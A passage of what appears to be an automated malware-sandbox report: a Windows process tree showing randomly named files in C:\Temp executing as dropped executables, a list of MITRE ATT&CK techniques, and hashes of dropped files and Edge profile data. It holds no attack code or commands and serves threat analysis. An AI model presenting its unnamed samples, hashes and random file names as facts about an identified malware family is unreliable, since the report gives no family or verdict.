      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6476,i,8156779812462221951,14083912558146887678,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:14
      4⤵
      PID:3120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6544,i,2285371894580155497,14618332261026915139,262144 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=4952 /prefetch:10
      4⤵
      PID:4280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2172,i,388477104737360403,4848882123340071343,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:14
      4⤵
      PID:5920

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1872

C:\Temp\idavtnlfdxvqniga.sys
C:\Temp\idavtnlfdxvqniga.sys
1⤵
- Executes dropped EXE
PID:5696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2512

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3900

C:\Temp\causmkfcau.sys
C:\Temp\causmkfcau.sys
1⤵
- Executes dropped EXE
PID:6040

C:\Temp\pnkfcxupnh.sys
C:\Temp\pnkfcxupnh.sys
1⤵
- Executes dropped EXE
PID:2876

C:\Temp\smkeczxupm.sys
C:\Temp\smkeczxupm.sys
1⤵
- Executes dropped EXE
PID:3132

C:\Temp\ztrpjhbztr.sys
C:\Temp\ztrpjhbztr.sys
1⤵
- Executes dropped EXE
PID:2952

C:\Temp\uomjeywuom.sys
C:\Temp\uomjeywuom.sys
1⤵
- Executes dropped EXE
PID:1172

C:\Temp\tqoigeywqo.sys
C:\Temp\tqoigeywqo.sys
1⤵
- Executes dropped EXE
PID:236

C:\Temp\gdbvtqlgdb.sys
C:\Temp\gdbvtqlgdb.sys
1⤵
- Executes dropped EXE
PID:5528

C:\Temp\fdxvtqkigd.sys
C:\Temp\fdxvtqkigd.sys
1⤵
- Executes dropped EXE
PID:3444

C:\Temp\xsqkifaxvp.sys
C:\Temp\xsqkifaxvp.sys
1⤵
- Executes dropped EXE
PID:5064

C:\Temp\rpkhczxspn.sys
C:\Temp\rpkhczxspn.sys
1⤵
- Executes dropped EXE
PID:1540

C:\Temp\rpnhecxupn.sys
C:\Temp\rpnhecxupn.sys
1⤵
PID:2608

C:\Temp\mkeczxuomk.sys
C:\Temp\mkeczxuomk.sys
1⤵
PID:1532

C:\Temp\ojhbztrljh.sys
C:\Temp\ojhbztrljh.sys
1⤵
PID:2364

C:\Temp\lgdbwtoljd.sys
C:\Temp\lgdbwtoljd.sys
1⤵
PID:1276

C:\Temp\wtrljgbytq.sys
C:\Temp\wtrljgbytq.sys
1⤵
PID:4832

C:\Temp\dyvtqlidbv.sys
C:\Temp\dyvtqlidbv.sys
1⤵
PID:2592

C:\Temp\snlidaxvpn.sys
C:\Temp\snlidaxvpn.sys
1⤵
PID:1616

C:\Temp\nifdykhfax.sys
C:\Temp\nifdykhfax.sys
1⤵
PID:5196

C:\Temp\hfzxvpnhfz.sys
C:\Temp\hfzxvpnhfz.sys
1⤵
PID:4564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

causmkfcau.sys

Path C:\Temp\causmkfcau.sys
Size 293KB
SHA256 62486316d20336ff918f5afdf5567c0c6d52e510f42603bba46255730e3ca574
MD5 5b991cb3d40cb2a1363920ddb2e76477
SHA1 63353adf2bf0131355ec32fbd9c48627e487ecdd
SHA512 74c1452cea640eaaa190d76dec42172287861b6d3ced60b775c5a083538e52e08f74a6f8e4a6a1fede53a0fba561537bb2a0c0fba6004c3f1ef203ff2eedd6b3
SSDEEP 3072:DtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:DIJjiJcbI03GBc3ucY5DCSj
TLSH
T1F8545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fdxsnkfavk.exe

Path C:\Temp\fdxsnkfavk.exe
Size 384KB
SHA256 e47fb5f85868fc4e0ab393b6ce001ddf7f36c4da6d554ac18a565f26de52d867
MD5 663a4d9de713cb69baf97be422dd8611
SHA1 58ee62edad1f9ea66432ffc0dace0eac6ea95d64
SHA512 084f8a3ef93ecbe1f4a68c3d37efb018ce7a75d41c1e13a6130a51358556213702697e9ceeac5b21329a3e750fb3f9523bf26133336ef0173dd85acc957728e6
SSDEEP 3072:r9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:ZctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T186847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_fdxsnkfavk.exe

Path C:\Temp\i_fdxsnkfavk.exe
Size 384KB
SHA256 970b8c5f2f0de4003f709da9a6b5159c103ccfb3be709ca47942ca0ffbff91ad
MD5 8e1b89a69dbde2a2ef9afb6ba04915ae
SHA1 227b8fd2ef3ae4d56a1c2366b4bfbc33fbd897c4
SHA512 3fad0be9aaf6ea746b79321d8e2be48a1c993b68b0cb675fd55d5a5e58d87b08eb3d9bf6399a2656a595c8f476f5a6218049884568be9d6619a6b15ba48e7cbf
SSDEEP 3072:x9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:7ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T185847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pjhecwurmj.exe

Path C:\Temp\i_pjhecwurmj.exe
Size 384KB
SHA256 e42da4734ea6ab9e05abf1f07f643cbcf36942b780fe09085c7eccd257f07540
MD5 e3aafb92cd27a32964d1e418c07043c4
SHA1 441f1674d39515e668f0d1ca4ea24b892b085241
SHA512 c92159824d39c20842439383b85ee48788acff2f28cfe629af90a95edaec840d0395af2d20752daf5ccef237ac7621764f3982f1b442b5803cc84b170d98cf84
SSDEEP 3072:k9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:+ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1F6847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pnhczxupmk.exe

Path C:\Temp\i_pnhczxupmk.exe
Size 384KB
SHA256 2082ae27f8288bd7d4522e02ac5f72c8ab641a298d36c267b8790848f5e18c4c
MD5 7de26213e135244599423c43120bbe9b
SHA1 019917f177d8f70a2c2d30cc4b515b0978f9d2c3
SHA512 1934d8fa7edba45df794cb8be841564e420e63eefa4b2df62133f34489ae251272a280d256e4c673e8ca2f7f15b9e2feec9cc3ecfc8b5065051643e214631ad4
SSDEEP 3072:k9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:+ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1B2847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zurmjebwuo.exe

Path C:\Temp\i_zurmjebwuo.exe
Size 384KB
SHA256 e0637b64723bcdc89e6ca9a2d50d57f5fb26932b97340c2428cbcc61e91d5d42
MD5 8ba71292f84c44c57a295e7f0f89bd79
SHA1 ddbfab3caad3dec9a648f5a027524f82fd3a0605
SHA512 06ff1d0a263ac5cbcff27cc720e094f884aa02e105b18d6d348d9214159c2e80570730ae5a243168c4edf4d2606803ec85fd864f52d5499eeacdeb571b20142e
SSDEEP 3072:y9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:IctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T186847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zxvpkfcxus.exe

Path C:\Temp\i_zxvpkfcxus.exe
Size 384KB
SHA256 20d413b2b16a5e4616a554a1774f7e4832ea350f596b93b37979c795ded792c7
MD5 b3e992408e8bd79407d9f75bd13e3a78
SHA1 88a8b18ffa6bd49099a0f1efaf7a37f45ceb5656
SHA512 447cfe395d083683b86654ad939045b9c4d04133998f772831fe46e7d6b922de0cc32ae342d9cedab327dc1a3f000a18d209c3349982a0d7cc3d6b48c39c0a2f
SSDEEP 3072:O9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:sctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1DD847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idavtnlfdxvqniga.exe

Path C:\Temp\idavtnlfdxvqniga.exe
Size 384KB
SHA256 aa1ef5ecafa69e3e6a15b783e7c815e74e9694d0465d73356c207616f5f1be1e
MD5 d799072ea31c84796c9c85d41d36ff9b
SHA1 2f8b88708d8f63b9b9055cf1f9a14e6b9e91126e
SHA512 023c7bfb57d9b47e01a3fc98830bc3080a8fdc48b16bb4bf7f66ddf8881e81adfc49cdb949a2db5159e384d53203d4037f0714197bda65f2e7d46a5d05e3ec2d
SSDEEP 3072:N9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:fctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1FF847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idavtnlfdxvqniga.sys

Path C:\Temp\idavtnlfdxvqniga.sys
Size 293KB
SHA256 4aaa37a8428e4fe3839151e8888841ba7b45c2a0ef26fb5755071fc9ff0f34f0
MD5 951fde602aac80c8dce987ce398949fd
SHA1 9d3e6ff047ba0e7ceb25706f0e8018166ffc3d7d
SHA512 ef24e1fad5b394b638f0345f4c17fc5b82400b0cc57af8dc266bcbe769687de6518dc40ca7303839476e41ea14bbe1135ab9afa82582e871f4047987fb7ea58a
SSDEEP 3072:8tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:8IJjiJcbI03GBc3ucY5DCSj
TLSH
T199545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pjhecwurmj.exe

Path C:\Temp\pjhecwurmj.exe
Size 384KB
SHA256 99f7b7b6fb632fd9c792596de153814b03bd241de05b2aac62b06d1d1d0883e4
MD5 544ff991057d1296e4f1f4e634788f0a
SHA1 b66c3da4c00f2042904843eca74a207bd76ae989
SHA512 8be2de1e31c2ba0985b3cdb74b495183beafa08924a8abbdfc8d20ace4a4dc32e3320136cd09e378b1f5a4eb22d7ac218e2fdc981092c2fc10440f04c262b3b6
SSDEEP 3072:49ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:6ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T174847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnhczxupmk.exe

Path C:\Temp\pnhczxupmk.exe
Size 384KB
SHA256 3182f9408b147eafe022deca1c7e8e1a158780154e36d277129eb43fcf35bb1c
MD5 a7bfc60b799b220c0d7f26a8eb76ad5a
SHA1 7adedb3ebbf3becd9a563dd7ff4090e965c0dc76
SHA512 5d38e6bcb9ac067ff80cd795b9682d86837cdc3d64408fbc06c1c359b6dacc5fe19ff599bc1c55ae29eee54baef4fb7dd802a2830a85b4958ca07ece1c629ac7
SSDEEP 3072:U9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:uctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T114847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnkfcxupnh.sys

Path C:\Temp\pnkfcxupnh.sys
Size 293KB
SHA256 5ef26dd59e4c8d5dd063df35a0862ad507fc7f46aff6322242d02f59d6ae1b39
MD5 8b5e924e704f9152173e7df93a8b871f
SHA1 0d43e4f21cfc334870a64329e22b73b6a34ff403
SHA512 6d463c42886b24f685e78d0ca27745fc0b4488d4b7786e50982bf438e3bc79cd8e2b856bc022c9b10a92e434edd7cc0d968826257e0f02db4202e40c752c6ed0
SSDEEP 3072:ltKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:lIJjiJcbI03GBc3ucY5DCSj
TLSH
T1AE545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qojgebwtrl.exe

Path C:\Temp\qojgebwtrl.exe
Size 384KB
SHA256 6bb98d801ee6c40baa1bf1b7b9950001764ef28dfadddf15b4236c7a18f539f9
MD5 7837211f52c8829444c142c3812da5ac
SHA1 f4d4bd00d8b79bcfc3760dea6c0fcf3ab56c9112
SHA512 fe2886fe57d2397017bd1419453f31dab3b87524da12ff6091c444619f9f9c40efeafcbe70313b97e2a34ab46a9e4ed7e2726bff5ff03ef86992e534b011cfd0
SSDEEP 3072:R9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:bctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T182847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

smkeczxupm.sys

Path C:\Temp\smkeczxupm.sys
Size 293KB
SHA256 5cc5ed9f25fb952ad17c4e5bec324d717a40d8b3cd74649f87a9d7e716230221
MD5 e2229a804ee159a1bde05382d9a64b1f
SHA1 ec52f7971d4dcf79f95bbb92dcfd4945ea6df2c0
SHA512 cd86218d2d2f1ef1d25fda82618cabc75c1ddfbe105440dcf4e31084ff4798beb545809d6dabcd30eac47a9e665fb46ab4498ae765813639d7632ae747452652
SSDEEP 3072:vtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:vIJjiJcbI03GBc3ucY5DCSj
TLSH
T18B545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uomjeywuom.sys

Path C:\Temp\uomjeywuom.sys
Size 293KB
SHA256 d66bbcbd9847dd3c7d20a34051ac80a147b804ff48650bb1d497dbf9a680b1b2
MD5 06b476382b5140e742c2e41b6995b700
SHA1 e53ca087f0f3a6e4a10d718e9befee4439d006e0
SHA512 cf7c2d6485a8638bdeccfbca926a695507286b136c8044c2533bf6589db9a40923642de96554e86531739aa451dcb9ac88ec80694750e89d7cadf55c998e9beb
SSDEEP 3072:6tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:6IJjiJcbI03GBc3ucY5DCSj
TLSH
T1C5545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ztrpjhbztr.sys

Path C:\Temp\ztrpjhbztr.sys
Size 293KB
SHA256 36c5fcc54e8c1e1d87bec4235043663c3e920fe744830a462c236bd12789ddca
MD5 fb23ca696b328756fde94c6d914cef95
SHA1 6914be1d1b2e6bd586d41df0ba23dbf02eac6591
SHA512 e64070ec39a1573026d73ca724b9eb3eb7da6db99f11e7596948c39db2704c1c830515f8e2821ee88e04270e991ccc79afd34f7fe7b47c46b6e06bedd51e3b29
SSDEEP 3072:wtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:wIJjiJcbI03GBc3ucY5DCSj
TLSH
T117545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zurmjebwuo.exe

Path C:\Temp\zurmjebwuo.exe
Size 384KB
SHA256 137966dfd892ff6261c07b8bc91b7f3309e529b1a6a6f86acab08be34bba81ac
MD5 b4676f3a45597dcfdf7b3afb01183c37
SHA1 3bfd3c03e90fdedaf884de30b0e335b3a53472bf
SHA512 5b15b139aa9b1984c962527c960ee74d33b44aed4e220e2266a80c313332da38d0ca6b92bc8cab7fa8036af063ff81badb47f9b4c2eecd2721fc89aa55dba2d6
SSDEEP 3072:t9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:/ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1E3846A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxvpkfcxus.exe

Path C:\Temp\zxvpkfcxus.exe
Size 384KB
SHA256 0143beaa9adf65c0e5cbc584ca4263fcfce012a7c3067cfe4a4af3de389901a5
MD5 c976d840583d3912d89c92308219f22d
SHA1 8d12cf69d23a17e2a521271db3d97bc3c467e4d6
SHA512 18affd2bd82d1bb3ed66eab72f990acd7c0cbcaddec898245daf7cf00ec68837a556989366be871134406913946ee489d9121183062d16e11f4e57c5cd1c43ad
SSDEEP 3072:y9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:IctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C2847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 e0424f12e2966d4edd61d48eb03e7a78e7aa9d384165acd4a8973fc664dca54a
MD5 7acb47b9e36d0b80e2fc9707e9c8e89d
SHA1 551a4ce1b41fc63afca9012e67ab4229c732feb7
SHA512 9b137ab83de648a2382112e33229e3ec6225fb81e794374fa123d6e7e13e4de7bc9858a11d08d360a0f72c10415e71a0f49f1cffe9e27deeea1ca3cbacdcc9b3
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7K:fwUQC5VwBIiElEd2K57P7K
TLSH
T16BB3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 c9ccfc17856f6f58cc4cd3ce4c217bc5829c19e71eb0ce75d860969af97bc04f
MD5 7fee1d79469766ed69b983f6d9f4cb0e
SHA1 56352cda49de26c079de5100467bfe2df40c8adb
SHA512 9fb7d036088ad1f71f12c035367590ebc0e4df0e995a1daad7539ff776b9a60fe54b2eddc378cb8b23e531bcc7a85ac5734a21661088c9a1ffb52d9941b22ee5
TLSH
T189513EB52B2CEBDEF72444B943E6D48B3EF8A4B906071A00C0156DF40ACAF501DD9993
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a1118.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a1118.TMP
Size 2KB
SHA256 32cddcdeddbdf65b996240f7c6f5ded8b691fa6c51b18e8393fbbdf5de950a16
MD5 626d5cc35d57ac373aeffbdf8e9f6b07
SHA1 75ab9e6b2abb94b92f6618db92d26a973d3d27ae
SHA512 91ae1acf912091a0239752ff3e25caaa5f60cf99dd522b07ff42320709af9f96d64d23d7abc3404920f730cc0383f08601af1c9314f6c492f35f32c5fc142bb9
TLSH
T108513CB52B2CEBCEF72444B947E6D88B3EF8A4B909071A00C0156DF40ACAF501DD9993
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 554b1661288b14e6b0209f201a64d1bc64cfe598015f436e069657d6b45e44d0
MD5 baeccaa752d31c32a23637315574f1c6
SHA1 e8d485b210691da9fd62add94f7fe202ac04307e
SHA512 d97353e7e70b5d228309bccb9b6e0fc9d3982d1b1869be3d142cbbbe5ef2132f12e45b363da41142854d8a932540d3f6bf989fde5ca30f753baee10ba4dbdb2f
TLSH
T17431AEF383F4857E990196F0AA18AE2FCE1D0515431C7C5AC9E4AF2B93E3472E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 adc74e3eeb345493939008b6144594935bc2612c39b8f80914d5a33e257dd506
MD5 3ff15b02ded27b5d1727fa0427fb90ef
SHA1 08d4d25fc96316e1f964a45e6bfbfb697f34a27d
SHA512 e42c7a419af0773fafbe3697c9345b6d26ba8012bf1c048246407ed2e007a671b988070d2312aecf9791dc170b0f016fb6d999423fb6bdcd8181ecc96a0bef22
TLSH
T1CE41DEF3C3F4852E990196F0AA186E1BCF2C0911432C7C5AC9E4AF2B93E3471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

f681dbf6-1712-48bd-a1c2-3236cd4dec7d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\f681dbf6-1712-48bd-a1c2-3236cd4dec7d.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 0a295c826e6b687e328a7d0d83d6ca3562f43eff53cca2b8dd3398437ea0ce37
MD5 5115e53c26295351ed7bcb9cc9c32cc6
SHA1 4737213b519466faf890de06b2452f3c2b7bc0f9
SHA512 9478ac8431c13943d8834bbe75ba258c1c1274f345f2b507443d20231f0162fbc253d8ba3ab1d7f243d3b08e2ffba80cc2bd020e6b2f0594fed1c8f6d5c2532e
SSDEEP 192:sxRGRmyM/jK1Ml8UQoCQ/fIs5/OUgZC5QzdzoA8pr2/g6+WNCcS/YoIynYPkGEIU:sxRGQqPQ/fIs5/5+C5QcC/5U/BwIx
TLSH
T18C62E916A9345D7B8CEBD21DFA457F93D2F91473A1901E44AAFC8A1C00E6AED221781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 d182a3cdc49f7d5f5cea7ba3514a7f45dcb689317f9fb93108ec6f93b4f47376
MD5 1ead24cb70d5503a990629002814671f
SHA1 edf928f676d231be2b04e79b317fd2245e97db2c
SHA512 c1126b8aa807eb62ca934b95c3830f79e6d1cae52556f6660fb03e8759449e5a66ce85f5e4be590b9cf8a51af566b66ba8f96907e3457cff039764f5914b1958
